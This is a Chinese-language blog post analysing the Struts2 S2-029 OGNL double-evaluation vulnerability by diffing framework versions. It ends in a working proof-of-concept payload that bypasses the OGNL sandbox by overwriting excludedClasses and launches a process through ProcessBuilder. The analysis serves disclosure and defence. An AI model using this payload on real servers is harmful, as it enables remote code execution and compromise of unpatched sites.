在315打假日,知名的Java Web框架Struts2发布了新一轮的安全公告,其中最惹国内眼球的,当属这个s2-29——Possible Remote Code Execution vulnerability,可能存在远程代码执行漏洞。对于这个漏洞我第一时间就是一直在跟踪,但是由于官方透露的细节是在台上,所以这里我只能通过github上代码的变更信息,来猜测这个漏洞点。所以本篇文章仅供各位参考。
0x01 漏洞猜想
由于之前Struts2出现问题时,官方被安全人员和使用者训斥,不应该在安全公告中透露漏洞细节以及利用方法,所以这次官方很乖的在公告里写了一些很模糊的内容。
The Apache Struts frameworks performs double evaluation of attributes’ values assigned to certain tags so it is possible to pass in a value that will be evaluated again when a tag’s attributes will be rendered.
从这些内容中我们只能大概的知道在Struts的某些标签会在渲染的时候被执行两次,所以在新版本中修复了这个问题。在公告中说升级到2.3.25可以解决这个问题,所以我去github上diff了2.3.24.1和2.3.25两个版本。这两个版本中间commit了84次。我查看了所有的commit的代码部分,发现有几条看似像是关于这个漏洞相关的内容。
从内容来猜测,前两张图中的修改应该是用于完善沙盒检测机制的,因为这个修改,导致了官方后面出现了一个乌龙事件,这个我们留到后面再说。
好了,下面我们来看第三张图片了,看commit的描述reduces(减少)似乎与double有些关联,而且修改的component.java是所有标签的一个基类。而且从代码变化上来看,应该是减少不必要的Ognl表达式执行。代码对比如下:
2.3.24.1
//core/src/main/java/org/apache/struts2/components/Component.java protected Object findValue(String expr, Class toType) { protected Object findValue(String expr, Class toType) { if (altSyntax() && toType == String.class) { if (altSyntax() && toType == String.class) { - return TextParseUtil.translateVariables('%', expr, stack); + if (ComponentUtils.containsExpression(expr)) { + return TextParseUtil.translateVariables('%', expr, stack); + } else { + return expr; + } } else { } else { expr = stripExpressionIfAltSyntax(expr); //core/src/main/java/org/apache/struts2/util/ComponentUtils.java - * @param value to treat as an expression + * @param expr to treat as an expression * @return true if it is an expression * @return true if it is an expression */ */ - public static boolean isExpression(Object value) { + public static boolean isExpression(String expr) { - String expr = value.toString(); return expr.startsWith("%{") && expr.endsWith("}"); return expr.startsWith("%{") && expr.endsWith("}"); } }
2.3.25
//core/src/main/java/org/apache/struts2/components/Component.java protected Object findValue(String expr, Class toType) { if (altSyntax() && toType == String.class) { if (altSyntax() && toType == String.class) { - return TextParseUtil.translateVariables('%', expr, stack); + if (ComponentUtils.containsExpression(expr)) { + return TextParseUtil.translateVariables('%', expr, stack); + } else { + return expr; + } } else { } else { expr = stripExpressionIfAltSyntax(expr); expr = stripExpressionIfAltSyntax(expr); //core/src/main/java/org/apache/struts2/util/ComponentUtils.java + * @param expr to treat as an expression * @return true if it is an expression * @return true if it is an expression */ */ - public static boolean isExpression(Object value) { + public static boolean isExpression(String expr) { - String expr = value.toString(); return expr.startsWith("%{") && expr.endsWith("}"); return expr.startsWith("%{") && expr.endsWith("}"); } } + public static boolean containsExpression(String expr) { + return expr.contains("%{") && expr.contains("}"); + } + } }
这段代码的修改用来处理掉了非%{开头,}结尾的字符串进行ognl解析的功能,这里我们来举个例子:bar%{2+3},在修改之前的代码中2+3是会被作为ognl执行的。那么修改后,这种形式就只会被当做字符串来返回。下面问题来了,这种要依赖Struts二次开发人员的奇葩代码风格的问题会被当成CVE吗?这个我是说不清楚,不过从描述和代码上来看,不是没有这种可能。
下面我们来看最后一张图片,这个修改就很有意思了,修改Xwork在底层和ognl的接口函数——setValue。去掉了这个函数的最后一个参数——evalName,这个参数的作用是用来判断是不是参数名的,如果是参数名那么绝不当做ognl表达式执行。这个参数最开始的使用者是参数拦截器中的setParameter方法,用来防止类似s2-03,s2-09这样的问题。但是官方应该是发现有一些他们不记得在哪里用过的setValue可能也存在这样的问题,那么索性就所有的参数名都不允许当做表达式执行好了,所以进行了这次修改。
之后我搜索了下关于这个setValue的使用情况,比较值得注意的有几个个点:Component类的copyParams参数,不过貌似没有被调用过;Set容器类,不过需要攻击者可以操控var属性内容;还有就是Cookie拦截器中,前提肯定是需要远程服务端配置好参数拦截器。相比较来说这个修改面对的问题就比较大了,毕竟Cookie拦截器使用的人也是不少的。所以我猜测s2-29的修复应该是这个点的可能性比较大。
0x02 漏洞构造&利用
我懒得去配置Cookie拦截器了,所以这里使用的是set标签,代码很简单:
<set var="%{#parameters.tang3}"/>
我知道你可能要吐槽%{}这种写法问题会很大,我这里只是单纯的想表示一下var属性可控的情况,不会对后面的执行产生实质影响的。
我们使用http://ip/test.action?tang3=attack来先看一下流程,首先是ContexBean Tag这个基类,在他的处理过程中所有标签的var属性都会通过ContextBean的setVar函数进行一次赋值,他的赋值代码如下:
public void setVar(String var) { if (var != null) { this.var = findString(var); } }
如果你熟悉Struts2的标签实现代码,就会知道findString会对参数进行一次ognl表达式执行,他最终的执行代码就是我们分析第三张图中的那个findValue函数,findString的var参数就是findValue的exp参数。从下面图中可以看出tang3的值已经被取出来了(忽略掉内容的问题,后面会详细解释Poc为什么会长这样):
我们继续向下走,到了Set类的end方法中,我们发现,代码是这样的:
public boolean end(Writer writer, String body) { ValueStack stack = getStack(); Object o; if (value == null) { if (body != null && !body.equals("")) { o = body; } else { o = findValue("top"); } } else { o = findValue(value); } body=""; if ("application".equalsIgnoreCase(scope)) { stack.setValue("#application['" + getVar() + "']", o); } else if ("session".equalsIgnoreCase(scope)) { stack.setValue("#session['" + getVar() + "']", o); } else if ("request".equalsIgnoreCase(scope)) { stack.setValue("#request['" + getVar() + "']", o); } else if ("page".equalsIgnoreCase(scope)) { stack.setValue("#attr['" + getVar() + "']", o, false); } else { stack.getContext().put(getVar(), o); stack.setValue("#attr['" + getVar() + "']", o, false); } return super.end(writer, body); }
看到那一堆的setValue了没有,我们刚才讨论的就是它!它实现一个三个参数的重载,实现代码是这样的:
public void setValue(String name, Map<String, Object> context, Object root, Object value) throws OgnlException { setValue(name, context, root, value, true); }
没什么可说的了,evalName值是true,也就是说可以直接执行name中的ognl表达式。而getVar返回的内容,就是我们刚才的this.var值。
剩下的就是PoC构造的了,如我们所看到的拼接代码,我们需要封闭原有的表达式,然后构造合法语句,所以PoC就长成了这个样子:
a']=1,ongl,#attr['a
ongl部分可以替换为任意ongl表达式语句,但是还有一个问题,就是Struts存在一个沙盒,防止ognl执行危险的java代码。这里我从阿里的文章中受到了启发,并且通过安恒的文章学到了这个技巧,那就是通过覆盖沙盒的黑名单成员变量,来实现绕过。所以之后我谈计算器的Poc长这个样子:
a']=1,#_memberAccess["excludedClasses"]={1},new java.lang.ProcessBuilder('calc').start(),#attr['a
0x03 漏洞八卦
Struts框架漏洞曾经深深的伤害过国内大大小小的网站,也使很多安全公司深深的体会到到过事件运营的“乐趣”,所以Struts稍微有个安全公告大家都有一种打了鸡血的干劲。但有时候事与愿违,官方这次一点细节也不透露,只能靠猜,影响了质量和速度,实在是运营的一大悲哀啊。
这次漏洞的修复过程还是很欢乐,官方在测试沙盒规则时,应该是为了方便测试去掉了沙盒的代码,结果当我查看commit是看到了下面这一幕:
是的!他把沙盒给删了~~看到这里是我是一脸懵逼的状态,直到我看到了2.3.26的commit:
我笑抽了,我真的笑抽了~~所以Struts在外的发布版本中只有2.3.25BETA系列,而没有真正的2.3.25版本。
对了,还有一个就是,大家都以为目前大家看到的绕过沙盒PoC真的在2.3.26中已经没用了吗?反正我的PoC只能在2.3.24.1中用。
PS:苦逼的官方现在已经在测试2.3.27版本了大家准备好下一波升级吧~~
0x04 参考文章
【2】《s2-029 Struts2 标签远程代码执行分析》
如果您需要了解更多内容,可以
加入QQ群:486207500
直接询问:010-68438880-8669